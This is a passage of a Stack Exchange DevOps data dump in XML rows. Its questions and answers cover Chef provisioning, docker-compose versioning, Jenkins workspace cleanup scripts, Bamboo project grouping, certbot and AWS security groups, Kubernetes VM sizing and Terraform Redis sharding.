Server**&#xD;&#xA;&#xD;&#xA;Use [Chef Server cookbooks](https://github.com/chef-cookbooks/chef-server) and Chef solo to provision Chef server.&#xD;&#xA;&#xD;&#xA;In such a scenario, my main question is: how do I _create_ the Chef server VM and make Chef Solo discover it?&#xD;&#xA;&#xD;&#xA;**Option 2: Use Azure CLI + RM Templates**&#xD;&#xA;&#xD;&#xA;1. Manually create Azure VM &#xD;&#xA;1. Manually install Chef server&#xD;&#xA;1. Save it as an image and Azure RM template&#xD;&#xA;1. Use Azure CLI to provision from the RM Template and Image.&#xD;&#xA;&#xD;&#xA;I am angling toward this option, but I have some anecdotal opinions from teammates, that Azure RM Templates wll not be declarative. Are they? &#xD;&#xA;&#xD;&#xA;**Option 3: Use Vagrant  + Azure Provider + Chef Solo**&#xD;&#xA;&#xD;&#xA;1. (This option is primarily because I am comfortable with Vagrant)&#xD;&#xA;1. The main advantage of this option is that I think it will eliminate the question I had in Option 1. Is my assumption here correct?&#xD;&#xA;1. However, I think this option does not work for a permanent infrastructure like Chef Server, I think Vagrant is more useful when you have _disposable cloud-based virtualized environments._ Is my understanding here correct?&#xD;&#xA;&#xD;&#xA;*Note: Obviously these are not the only 3 options. Please help with any strategies I might have missed.*" ContentLicense="CC BY-SA 3.0" />
  <row Id="11107" PostHistoryTypeId="2" PostId="3557" RevisionGUID="a77f71c5-0ee1-44df-9617-31a489f03593" CreationDate="2018-03-07T09:12:56.900" UserId="10" Text="We have had problems a couple times now where the links to the CDN in our components don't get properly updated between the team, qa, and staging environments.&#xD;&#xA;&#xD;&#xA;Is there a way to force an error if the QA environment tries to access the team CDN or vice-versa? Or some other well-known solution to this problem?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11108" PostHistoryTypeId="1" PostId="3557" RevisionGUID="a77f71c5-0ee1-44df-9617-31a489f03593" CreationDate="2018-03-07T09:12:56.900" UserId="10" Text="Whats the best way to restrict an environment to a specific CDN?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11109" PostHistoryTypeId="3" PostId="3557" RevisionGUID="a77f71c5-0ee1-44df-9617-31a489f03593" CreationDate="2018-03-07T09:12:56.900" UserId="10" Text="&lt;environments&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11110" PostHistoryTypeId="2" PostId="3558" RevisionGUID="c0228291-d518-4420-a586-494a5bb6917e" CreationDate="2018-03-07T11:17:35.730" UserId="6800" Text="As per the [graphite documentation][1] for maxSeries,&#xD;&#xA;&#xD;&#xA;&gt; Takes one metric or a wildcard seriesList. For each datapoint from&#xD;&#xA;&gt; each metric passed in, pick the maximum value and graph it.&#xD;&#xA;&#xD;&#xA;For multiple series, it makes sense as maxSeries can act as max(A, B) but I am not sure, what does passing a single metric mean? When I plot a graph, maxSeries looks like an identity function for a single metric. Can anybody help me understand this?&#xD;&#xA;&#xD;&#xA;  [1]: http://graphite.readthedocs.io/en/latest/functions.html#graphite.render.functions.maxSeries" ContentLicense="CC BY-SA 3.0" />
  <row Id="11111" PostHistoryTypeId="1" PostId="3558" RevisionGUID="c0228291-d518-4420-a586-494a5bb6917e" CreationDate="2018-03-07T11:17:35.730" UserId="6800" Text="What does applying maxSeries to a single metric mean?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11112" PostHistoryTypeId="3" PostId="3558" RevisionGUID="c0228291-d518-4420-a586-494a5bb6917e" CreationDate="2018-03-07T11:17:35.730" UserId="6800" Text="&lt;monitoring&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11113" PostHistoryTypeId="2" PostId="3559" RevisionGUID="05ed9a6f-7e2b-42c7-8891-f72f211bdbe3" CreationDate="2018-03-07T11:53:03.607" UserId="47" Text="If the different CDNs are hosted at different IP addresses one possibility might be to configure the local `hosts` table for the machines in a certain environment in such way as to overwrite the DNS resolution for the CDNs which shouldn't be accessible and pointing them to either:&#xD;&#xA;&#xD;&#xA;- a non-existent address, causing connection timeout failures if the invalid CDNs are referenced&#xD;&#xA;- a server where the respective files cannot be found, causing 404 errors (faster than the connection timeouts)" ContentLicense="CC BY-SA 3.0" />
  <row Id="11114" PostHistoryTypeId="2" PostId="3560" RevisionGUID="f99a785d-409f-40f3-b883-72f455503afb" CreationDate="2018-03-07T12:21:54.393" UserId="6769" Text="You could use environment variables e.g.:&#xD;&#xA;&#xD;&#xA;    export VERSION=2&#xD;&#xA;&#xD;&#xA;docker-compose.yml:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;      serviceName:&#xD;&#xA;        image: &quot;imageName:${VERSION}&quot;&#xD;&#xA;      ...." ContentLicense="CC BY-SA 3.0" />
  <row Id="11116" PostHistoryTypeId="5" PostId="2607" RevisionGUID="451b8825-5347-4652-a04f-ff16dc4c042c" CreationDate="2018-03-07T12:47:01.733" UserId="47" Comment="improved readability" Text="IMHO the answer has a lot to do with scale and resource availability.&#xD;&#xA;&#xD;&#xA;I believe Adam Smith's theory can only be applied at large scale - entire nations/economies in the original context, or, in the SW development context - large development teams.&#xD;&#xA;&#xD;&#xA;In a large team it is, indeed, more efficient to hire more specialized human resources:&#xD;&#xA;&#xD;&#xA;- they aren't rockstars - often considered a danger sign in such large organisations&#xD;&#xA;- they're typically easier to find, cheaper that those with wider expertise spectrum&#xD;&#xA;- they typically don't raise attrition risks - for example they won't be unhappy because they only use a subset of their skills.&#xD;&#xA;- in a (maybe weird) devopsy comparison the [&quot;cattle vs pets&quot;][1] principle can be applied in such larger organisations, and for quite similar reasons. These specialized resources are, from the business perspective, literally just capita in human resource pools, which sizes that can be rapidly adjusted as needed, typically by hiring/firing.&#xD;&#xA;&#xD;&#xA;Oh, and such teams can only be functional if they are complemented by high-quality architect resources which would be necessary to split the product in the smaller, specialized tasks that can be addressed with the specialized resources.&#xD;&#xA;&#xD;&#xA;In smaller scale or even one-man teams (typically startups or even isolated smaller teams in larger organisations) it's ineffective or even impossible to use such resources and still get the job done:&#xD;&#xA;&#xD;&#xA;- they simply don't have the budget/resources to hire the many different specialized resources necessary to cover the entire product development&#xD;&#xA;- they actually seek/appreciate rockstars which can wear multiple hats and immediately switch roles with great flexibility, without incuring delays and additional HR costs&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets" ContentLicense="CC BY-SA 3.0" />
  <row Id="11122" PostHistoryTypeId="2" PostId="3563" RevisionGUID="288ebb09-820f-401e-a5a2-347a7f6ab9cf" CreationDate="2018-03-07T14:43:19.830" UserId="6775" Text="Another way to execute the @golfNintyNine answer is putting inside docker-compose.yml the environment variable:&#xD;&#xA;&#xD;&#xA;    serviceName:&#xD;&#xA;    image: &quot;imageName:${VERSION}&quot;&#xD;&#xA;&#xD;&#xA;And then executing simply:&#xD;&#xA;&#xD;&#xA;    $ VERSION=2 docker-compose up&#xD;&#xA;&#xD;&#xA;Also you can put all together inside script file like this:&#xD;&#xA;&#xD;&#xA;    #!/bin/bash&#xD;&#xA;    &#xD;&#xA;    function usage {&#xD;&#xA;        cat &lt;&lt; EOF &gt;&amp;2&#xD;&#xA;    Version argument is required, please use -v or --version.&#xD;&#xA;    EOF&#xD;&#xA;        exit 1&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    OPTS=`getopt -o v: -l version: -- &quot;$@&quot;`&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    if [ $? != 0 ] ; then usage ; fi&#xD;&#xA;    &#xD;&#xA;    eval set -- &quot;$OPTS&quot;&#xD;&#xA;    &#xD;&#xA;    while true; do&#xD;&#xA;        case &quot;$1&quot; in&#xD;&#xA;            -v | --version ) export VERSION=&quot;$2&quot;; shift 2;;&#xD;&#xA;            -- ) shift; break ;;&#xD;&#xA;        esac&#xD;&#xA;    done&#xD;&#xA;    &#xD;&#xA;    if [ -z $VERSION ]&#xD;&#xA;    then&#xD;&#xA;        usage&#xD;&#xA;    fi&#xD;&#xA;    &#xD;&#xA;    docker-compose up&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11123" PostHistoryTypeId="5" PostId="3338" RevisionGUID="238cdfd4-dc22-49fd-95f2-069498a30b1d" CreationDate="2018-03-07T15:43:21.977" UserId="13" Comment="Inline the code instead of broken gist link pointing to image" Text="## Introduction ##&#xD;&#xA;We have a multibranch pipeline project. The build configuration is defined by a jenkinsfile. The system consists of one master and a couple of agents.&#xD;&#xA;&#xD;&#xA;The stages are run in parallel, and for each one we do a checkout of the repository.&#xD;&#xA;&#xD;&#xA;See attached file below.&#xD;&#xA;&#xD;&#xA;## The Problem ##&#xD;&#xA;is that the size of the workspace accumulates greatly as the amount of branches increases.&#xD;&#xA;&#xD;&#xA;## The Solution #1 ##&#xD;&#xA;Periodic cleanup of the workspace. A custom script will be written. &#xD;&#xA;Something like this one:&#xD;&#xA;&#xD;&#xA;    // Check if a slave has &lt; 10 GB of free space, wipe out workspaces if it does&#xD;&#xA;    &#xD;&#xA;    import hudson.model.*;&#xD;&#xA;    import hudson.util.*;&#xD;&#xA;    import jenkins.model.*;&#xD;&#xA;    import hudson.FilePath.FileCallable;&#xD;&#xA;    import hudson.slaves.OfflineCause;&#xD;&#xA;    import hudson.node_monitors.*;&#xD;&#xA;    &#xD;&#xA;    for (node in Jenkins.instance.nodes) {&#xD;&#xA;        computer = node.toComputer()&#xD;&#xA;        if (computer.getChannel() == null) continue&#xD;&#xA;    &#xD;&#xA;        rootPath = node.getRootPath()&#xD;&#xA;        size = DiskSpaceMonitor.DESCRIPTOR.get(computer).size&#xD;&#xA;        roundedSize = size / (1024 * 1024 * 1024) as int&#xD;&#xA;    &#xD;&#xA;        println(&quot;node: &quot; + node.getDisplayName() + &quot;, free space: &quot; + roundedSize + &quot;GB&quot;)&#xD;&#xA;        if (roundedSize &lt; 10) {&#xD;&#xA;            computer.setTemporarilyOffline(true, new hudson.slaves.OfflineCause.ByCLI(&quot;disk cleanup&quot;))&#xD;&#xA;            for (item in Jenkins.instance.items) {&#xD;&#xA;                jobName = item.getFullDisplayName()&#xD;&#xA;    &#xD;&#xA;                if (item.isBuilding()) {&#xD;&#xA;                    println(&quot;.. job &quot; + jobName + &quot; is currently running, skipped&quot;)&#xD;&#xA;                    continue&#xD;&#xA;                }&#xD;&#xA;    &#xD;&#xA;                println(&quot;.. wiping out workspaces of job &quot; + jobName)&#xD;&#xA;    &#xD;&#xA;                workspacePath = node.getWorkspaceFor(item)&#xD;&#xA;                if (workspacePath == null) {&#xD;&#xA;                    println(&quot;.... could not get workspace path&quot;)&#xD;&#xA;                    continue&#xD;&#xA;                }&#xD;&#xA;    &#xD;&#xA;                println(&quot;.... workspace = &quot; + workspacePath)&#xD;&#xA;    &#xD;&#xA;                customWorkspace = item.getCustomWorkspace()&#xD;&#xA;                if (customWorkspace != null) {&#xD;&#xA;                    workspacePath = node.getRootPath().child(customWorkspace)&#xD;&#xA;                    println(&quot;.... custom workspace = &quot; + workspacePath)&#xD;&#xA;                }&#xD;&#xA;    &#xD;&#xA;                pathAsString = workspacePath.getRemote()&#xD;&#xA;                if (workspacePath.exists()) {&#xD;&#xA;                    workspacePath.deleteRecursive()&#xD;&#xA;                    println(&quot;.... deleted from location &quot; + pathAsString)&#xD;&#xA;                } else {&#xD;&#xA;                    println(&quot;.... nothing to delete at &quot; + pathAsString)&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            computer.setTemporarilyOffline(false, null)&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    ## The Solution #2 ##&#xD;&#xA;    One checkout per job and node. Thus each parallel stage will execute one executable instance of the same repository. For me personaly this is the preferred method, although more complex than solution #1.&#xD;&#xA;    &#xD;&#xA;    pseudocode:&#xD;&#xA;    &#xD;&#xA;        stage(&quot;Build&quot;) {&#xD;&#xA;            try {&#xD;&#xA;                parallel builds&#xD;&#xA;            } catch (err) {&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        def build(predef) {&#xD;&#xA;            return {&#xD;&#xA;                node() {&#xD;&#xA;                    checkout_repository(${env.NODE_NAME})&#xD;&#xA;                    Execute build&#xD;&#xA;                    ...&#xD;&#xA;                }&#xD;&#xA;            }&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        def checkout_repository(node){&#xD;&#xA;            No checkout for this node&#xD;&#xA;                Flag that we are checking out a repository on node (think ~semaphore)&#xD;&#xA;                Cheking out ..&#xD;&#xA;                Flag that repository exist on node&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;## The Question ##&#xD;&#xA;&#xD;&#xA; &#xD;&#xA; 1. What are the cons in solution #2&#xD;&#xA; 2. Does it follow the jenkins way of doing it. Or this to much freestyle?&#xD;&#xA;&#xD;&#xA;The job:&#xD;&#xA;[![The Job][1]][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/XlNNr.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="11126" PostHistoryTypeId="2" PostId="3564" RevisionGUID="2ea3e2d0-a857-4016-ae5d-647fac7b453e" CreationDate="2018-03-07T18:26:06.507" UserId="4328" Text="I have a numerous deploy projects in Bamboo that are used for deploying DevOps/release tools. Is there a way to group or organize projects in Bamboo? Ideally, this would be similar to how the build plans are grouped. " ContentLicense="CC BY-SA 3.0" />
  <row Id="11127" PostHistoryTypeId="1" PostId="3564" RevisionGUID="2ea3e2d0-a857-4016-ae5d-647fac7b453e" CreationDate="2018-03-07T18:26:06.507" UserId="4328" Text="Bamboo Group Deploy Projects" ContentLicense="CC BY-SA 3.0" />
  <row Id="11128" PostHistoryTypeId="3" PostId="3564" RevisionGUID="2ea3e2d0-a857-4016-ae5d-647fac7b453e" CreationDate="2018-03-07T18:26:06.507" UserId="4328" Text="&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11129" PostHistoryTypeId="5" PostId="3564" RevisionGUID="7c3b63a5-25b2-4581-af80-1bef14d76d7d" CreationDate="2018-03-07T18:32:17.553" UserId="4328" Comment="added 85 characters in body" Text="I have a numerous deploy projects in Bamboo that are used for deploying DevOps/release tools. I would like have all of these projects grouped together for easy reference. Is there a way to group or organize related projects in Bamboo? Ideally, this would be similar to how the build plans are grouped. " ContentLicense="CC BY-SA 3.0" />
  <row Id="11130" PostHistoryTypeId="4" PostId="3552" RevisionGUID="89e8ae0c-a751-4e9d-a112-00056f66afe6" CreationDate="2018-03-07T21:45:28.887" UserId="210" Comment="edited title" Text="How to find interdependency between pods in a Kubernetes cluster?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11131" PostHistoryTypeId="5" PostId="3552" RevisionGUID="89e8ae0c-a751-4e9d-a112-00056f66afe6" CreationDate="2018-03-07T21:45:28.887" UserId="210" Comment="edited title" Text="Two Pods run in a Kubernetes cluster. One is a simple Wordpress application and the other a Mysql database. The Wordpress Pod communicates with the Mysql database. &#xD;&#xA;&#xD;&#xA;The aim is to find dependencies between pods. Is there any kubectl command or any tool like prometheus that is able to find interdependence between Pods?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11132" PostHistoryTypeId="6" PostId="3552" RevisionGUID="89e8ae0c-a751-4e9d-a112-00056f66afe6" CreationDate="2018-03-07T21:45:28.887" UserId="210" Comment="edited title" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;prometheus&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11133" PostHistoryTypeId="2" PostId="3565" RevisionGUID="eab661c7-e354-47b4-b862-0e25c041d851" CreationDate="2018-03-08T02:37:31.670" UserId="47" Text="There is an improvement issue open for, I *think*, exactly what you're looking for: [Bamboo should be able to group projects][1]:&#xD;&#xA;&#xD;&#xA;&gt; Description&#xD;&#xA;&gt; &#xD;&#xA;&gt; I'm mulling over redoing our project heirarchy and grouping things a&#xD;&#xA;&gt; little more logically, and realize that being able to group projects&#xD;&#xA;&gt; in Bamboo would be brilliant. It's already stellar that each project&#xD;&#xA;&gt; can contain multiple build plans. Having project groups (a la Jira)&#xD;&#xA;&gt; would make my OCD squeal. Any chance of this?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jira.atlassian.com/browse/BAM-1150" ContentLicense="CC BY-SA 3.0" />
  <row Id="11134" PostHistoryTypeId="5" PostId="3529" RevisionGUID="bc254417-ef73-481c-9304-cb0acc0e4146" CreationDate="2018-03-08T05:05:00.050" UserId="47" Comment="improved readability" Text="In a standard cloud based microservice application, there could be two main categories of microservices: &#xD;&#xA;&#xD;&#xA;- `core services` such as service registry &amp; discovery, api-gateway, load-balancer etc. &#xD;&#xA;- `service instances` e.g customers, billing and postage services. &#xD;&#xA;&#xD;&#xA;In this illustration, I used  `core services` and `service instances` to distinguish the two main groups. Are there standard naming conventions for these two or is my classification/thinking right? &#xD;&#xA;&#xD;&#xA;Here are some demo projects about the subject and each of these consists of the mentioned services: [Weaveworks Socks Shop][1], [Spring PetClinic][2] and [PiggyMetrics][3]. These applications have top ranking stars on GitHub.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://microservices-demo.github.io/&#xD;&#xA;  [2]: https://github.com/spring-petclinic/spring-petclinic-microservices&#xD;&#xA;  [3]: https://github.com/sqshq/PiggyMetrics" ContentLicense="CC BY-SA 3.0" />
  <row Id="11135" PostHistoryTypeId="2" PostId="3566" RevisionGUID="d71e3b06-9eb7-4e4e-9b81-bab65b6cccb2" CreationDate="2018-03-08T05:44:07.070" UserId="6819" Text="We needed a 100% HA Jenkins environment. we often upgrade plugins / Jenkins itself.&#xD;&#xA;&#xD;&#xA;This causes a big headache if the build breaks after the upgrade.&#xD;&#xA;&#xD;&#xA;The safest way to sort this is really getting a Demo Jenkins setup. Maybe on the same machine using multiple Tomcat application, you can achieve this cheaper.&#xD;&#xA;&#xD;&#xA;What we did is create a separate (Demo)VM and replicated the prod set-up on the Demo VM. Before changing / upgrading anything we would take a snapshot of both VMs. Then we would test the upgrades on Demo VM. If it works good, change it on Prod.&#xD;&#xA;&#xD;&#xA;I guess you can look up the community (like SE/SO) if anyone has faced any problems with the plugin you are planning for." ContentLicense="CC BY-SA 3.0" />
  <row Id="11143" PostHistoryTypeId="2" PostId="3569" RevisionGUID="5bf2d6bf-7d2e-46d2-b1fa-18797b747daf" CreationDate="2018-03-08T09:54:37.197" UserId="4613" Text="I want to add a rule to my `aws` security group to allow for incoming traffic from the acme server (I guess it is `acme-v01.api.letsencrypt.org`) to issue and automate the renewal of my cert;&#xD;&#xA;&#xD;&#xA;What is the best way of doing this, given that sg rules do not support hostnames but only IPs?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11144" PostHistoryTypeId="1" PostId="3569" RevisionGUID="5bf2d6bf-7d2e-46d2-b1fa-18797b747daf" CreationDate="2018-03-08T09:54:37.197" UserId="4613" Text="AWS Security group rule for certbot renewal" ContentLicense="CC BY-SA 3.0" />
  <row Id="11145" PostHistoryTypeId="3" PostId="3569" RevisionGUID="5bf2d6bf-7d2e-46d2-b1fa-18797b747daf" CreationDate="2018-03-08T09:54:37.197" UserId="4613" Text="&lt;amazon-web-services&gt;&lt;certbot&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11146" PostHistoryTypeId="2" PostId="3570" RevisionGUID="e9f92543-de9f-4b8d-ae5d-40da2de727d7" CreationDate="2018-03-08T10:57:27.280" UserId="13" Text="You just can **not** because from Let's Encrypt FAQ:&#xD;&#xA;&#xD;&#xA;&gt; - **What IP addresses does Let’s Encrypt use to validate my web server?**&#xD;&#xA;&gt; &#xD;&#xA;&gt;    We don’t publish a list of IP addresses we use to validate, because&#xD;&#xA;&gt; they may change at any time. In the future we may validate from&#xD;&#xA;&gt; multiple IP addresses at once.&#xD;&#xA;&#xD;&#xA;You will need a reverse proxy (usually a WAF), routing /.well-know/acme to a machine and answering the challenges (from anywhere) and doing the IP filtering before forwarding to your application all other requests." ContentLicense="CC BY-SA 3.0" />
  <row Id="11150" PostHistoryTypeId="2" PostId="3572" RevisionGUID="e58d9ce2-d83a-49f9-89e4-f6d27a8709f3" CreationDate="2018-03-08T11:23:27.163" UserId="4613" Text="I am running an `ansible` task that will among others install a let's encrypt certificate.&#xD;&#xA;&#xD;&#xA;I want the task to only run if the certificate has not been installed.&#xD;&#xA;&#xD;&#xA;What is the best way to check (via cmd) if my host has a valid secure connection over https?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11151" PostHistoryTypeId="1" PostId="3572" RevisionGUID="e58d9ce2-d83a-49f9-89e4-f6d27a8709f3" CreationDate="2018-03-08T11:23:27.163" UserId="4613" Text="Conditionally run certbot" ContentLicense="CC BY-SA 3.0" />
  <row Id="11152" PostHistoryTypeId="3" PostId="3572" RevisionGUID="e58d9ce2-d83a-49f9-89e4-f6d27a8709f3" CreationDate="2018-03-08T11:23:27.163" UserId="4613" Text="&lt;ansible&gt;&lt;ssl&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11153" PostHistoryTypeId="2" PostId="3573" RevisionGUID="5557626d-e6fe-422a-9475-7157ad768dfe" CreationDate="2018-03-08T13:23:56.163" UserId="6829" Text="I'm designing a web apps and web services hosting platform using kubernetes clusters of VMs running docker containers (web services, web apps, databases).&#xD;&#xA;&#xD;&#xA;This application hosting platform will be set on top of an existing VMWare infrastructure. We have 3 physical hosts powered by ESX.&#xD;&#xA;&#xD;&#xA;Today a network of some 10s of VLANs runs approx 100 to 200 virtual servers with ~1 to 4 cores and 1 to 8 GB of RAM, with some 10s of GB of hard disks (classical HD, no-SSD).&#xD;&#xA;&#xD;&#xA;Today our system is managed the old way, with named VM servers running one app or one database.&#xD;&#xA;&#xD;&#xA;What I have to do is to create a new VLAN of some VMs (maybe 5 or 6 in a first time), running a kubernetes cluster to host web applications, web services and databases docker containers (developed and deployed by our gitlab on-premise instance).&#xD;&#xA;&#xD;&#xA;Once this VLAN and kubernetes cluster will be up and running, tested for a while and validated by me and the direction, the project is to extend this architecture to the whole VMWare infrastructure, VLAN after VLAN.&#xD;&#xA;&#xD;&#xA;The question is, how to dimension (vertical scaling) the underlying linux VMs composing the kubernetes cluster ?&#xD;&#xA;&#xD;&#xA;How much cpus, RAM and disk space should I allocate by virtual host to be able to maximize the benefits of horizontal scaling allowed by the containerized architecture, the nginx load balancing and the mongodb sharding ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11154" PostHistoryTypeId="1" PostId="3573" RevisionGUID="5557626d-e6fe-422a-9475-7157ad768dfe" CreationDate="2018-03-08T13:23:56.163" UserId="6829" Text="How to dimmension VMWare VM linux servers to run kubernetes container clusters?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11155" PostHistoryTypeId="3" PostId="3573" RevisionGUID="5557626d-e6fe-422a-9475-7157ad768dfe" CreationDate="2018-03-08T13:23:56.163" UserId="6829" Text="&lt;docker&gt;&lt;kubernetes&gt;&lt;load-balance&gt;&lt;vmware&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11157" PostHistoryTypeId="2" PostId="3574" RevisionGUID="276305cc-9b82-4ea8-ab89-faddca0fb003" CreationDate="2018-03-08T14:06:54.190" UserId="2708" Text="I had a similar question and [this answer][1] was quite helpful. It sketches pattern on how you can do blue-green deployments in Terraform.&#xD;&#xA;&#xD;&#xA;But having said that there is no clearly best solution as far as I know. I think the most common approach for your use case would be to have a dedicated &quot;staging&quot; environment that uses a setup that is very close to the production one (sharing the same Terraform modules, but with smaller auto scaling groups). You can use it for the final tests, maybe even route some fraction of the  production traffic over it.&#xD;&#xA;&#xD;&#xA;If there are no errors in staging, you simplify roll it out in production and hope that you found most critical bugs before.&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/1686/2708" ContentLicense="CC BY-SA 3.0" />
  <row Id="11158" PostHistoryTypeId="2" PostId="3575" RevisionGUID="6eac6509-9f21-402e-ad91-718fd8acdd12" CreationDate="2018-03-08T14:30:23.797" UserId="2708" Text="I have set up a Redis cluster with Terraform. The setup looks like this:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elasticache_replication_group&quot; &quot;instance&quot; {&#xD;&#xA;      replication_group_id = &quot;test&quot;&#xD;&#xA;    &#xD;&#xA;      node_type                     = &quot;cache.t2.micro&quot;&#xD;&#xA;      port                          = 6379&#xD;&#xA;      parameter_group_name          = &quot;default.redis3.2.cluster.on&quot;&#xD;&#xA;      subnet_group_name             = &quot;${aws_elasticache_subnet_group.instance.name}&quot;&#xD;&#xA;      security_group_ids            = [&quot;${aws_security_group.instance.id}&quot;]&#xD;&#xA;    &#xD;&#xA;      cluster_mode {&#xD;&#xA;        replicas_per_node_group = 0&#xD;&#xA;        num_node_groups         = &quot;${var.cluster_size}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      automatic_failover_enabled = true&#xD;&#xA;      apply_immediately = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When I change `var.cluster_size` from 2 to 3, I would have expected that Terraform will perform the update in place. However, that is not the case:&#xD;&#xA;&#xD;&#xA;    -/+ module.groupsign_redis.aws_elasticache_replication_group.instance (new resource required)&#xD;&#xA;      id:                                              &quot;test&quot; =&gt; &lt;computed&gt; (forces new resource)&#xD;&#xA;      apply_immediately:                               &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      at_rest_encryption_enabled:                      &quot;false&quot; =&gt; &quot;false&quot;&#xD;&#xA;      auto_minor_version_upgrade:                      &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      automatic_failover_enabled:                      &quot;true&quot; =&gt; &quot;true&quot;&#xD;&#xA;      cluster_mode.#:                                  &quot;1&quot; =&gt; &quot;1&quot;&#xD;&#xA;      cluster_mode.3760271746.num_node_groups:         &quot;&quot; =&gt; &quot;3&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3760271746.replicas_per_node_group: &quot;&quot; =&gt; &quot;0&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3784625311.num_node_groups:         &quot;2&quot; =&gt; &quot;0&quot; (forces new resource)&#xD;&#xA;      cluster_mode.3784625311.replicas_per_node_group: &quot;0&quot; =&gt; &quot;0&quot;&#xD;&#xA;&#xD;&#xA;This is also confirmed in the [documentation][1]:&#xD;&#xA;&#xD;&#xA;&gt; num_node_groups - (Required) Specify the number of node groups (shards) for this Redis replication group. Changing this number will force a new resource. &#xD;&#xA;&#xD;&#xA;Currently, I see only the option to use Terraform for the initial deployment and then add or remove shards using the AWS UI, which will perform the update in place.&#xD;&#xA;&#xD;&#xA;Do you know of a way to execute the in-place update with Terraform? &#xD;&#xA;Or is adding shards without loosing the state of the database simply not possible with Terraform at the moment?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/providers/aws/r/elasticache_replication_group.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="11159" PostHistoryTypeId="1" PostId="3575" RevisionGUID="6eac6509-9f21-402e-ad91-718fd8acdd12" CreationDate="2018-03-08T14:30:23.797" UserId="2708" Text="How to add shards to a Redis cluster managed by Terraform without loosing all state?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11160" PostHistoryTypeId="3" PostId="3575" RevisionGUID="6eac6509-9f21-402e-ad91-718fd8acdd12" CreationDate="2018-03-08T14:30:23.797" UserId="2708" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;redis&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11170" PostHistoryTypeId="2" PostId="3579" RevisionGUID="5881fd05-ce30-42d0-ae37-646642752906" CreationDate="2018-03-08T15:02:51.190" UserId="6835" Text="There are several related system engineering trade-offs and choices involved in answering your question. It may be helpful going forward to tackle this question by first prioritizing your objectives and then making the selection and trade-off decisions about VLAN structure, cluster(pod) sizes, etc. to decide which options give you the most bang for the buck in vertical scaling. &#xD;&#xA;&#xD;&#xA;For example, you didn't explain how cpu intensive your web apps are or how much load balancing (based on the front end API management and back end messaging) you expect you will need. The 'one app per VM' design you described suggests your app's workloads are pretty big (for an 8GB VM). Again need more info to delve into this more deeply, but assigning a DB VM per App VM seems a bit wasteful in terms of K8s worker/manager efficiency unless there's a severe reliability and resiliency requirement.   &#xD;&#xA;&#xD;&#xA;Next, what are your options to replace the magnetic HD with SSD? Costs for 100GB and 500GB SSD have dropped significantly and replacing your mag HD with SSD could certainly give your cluster a good deal of disk performance headroom as you scale up.   &#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 3.0" />
  <row Id="11171" PostHistoryTypeId="5" PostId="3575" RevisionGUID="e01296bd-a674-42cb-970f-e68b29411c7c" CreationDate="2018-03-08T15:03:26.647" UserId="2708" Comment="added 123 characters in body" Text="I have set up a Redis cluster with Terraform. The setup looks like this:&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_elasticache_replication_group&quot; &quot;instance&quot; {&#xD;&#xA;      replication_group_id = &quot;test&quot;&#xD;&#xA;    &#xD;&#xA;      node_type                     = &quot;cache.t2.micro&quot;&#xD;&#xA;      port                          = 6379&#xD;&#xA;      parameter_group_name          = &quot;default.redis3.2.cluster.on&quot;&#xD;&#xA;      subnet_group_name             = &quot;${aws_elasticache_subnet_group.instance.name}&quot;&#xD;&#xA;      security_group_ids            = [&quot;${aws_security_group.instance.id}&quot;]&#xD;&#xA;    &#xD;&#xA;      cluster_mode {&#xD;&#xA;        replicas_per_node_group = 0&#xD;&#xA;        num_node_groups         = &quot;${var.cluster_size}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      automatic_failover_enabled = true&#xD;&#xA;      apply_immediately = true&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;When I change `var.cluster_size` from 2 to 3, I would have expected that Terraform will perform the update in place. However, that is not the 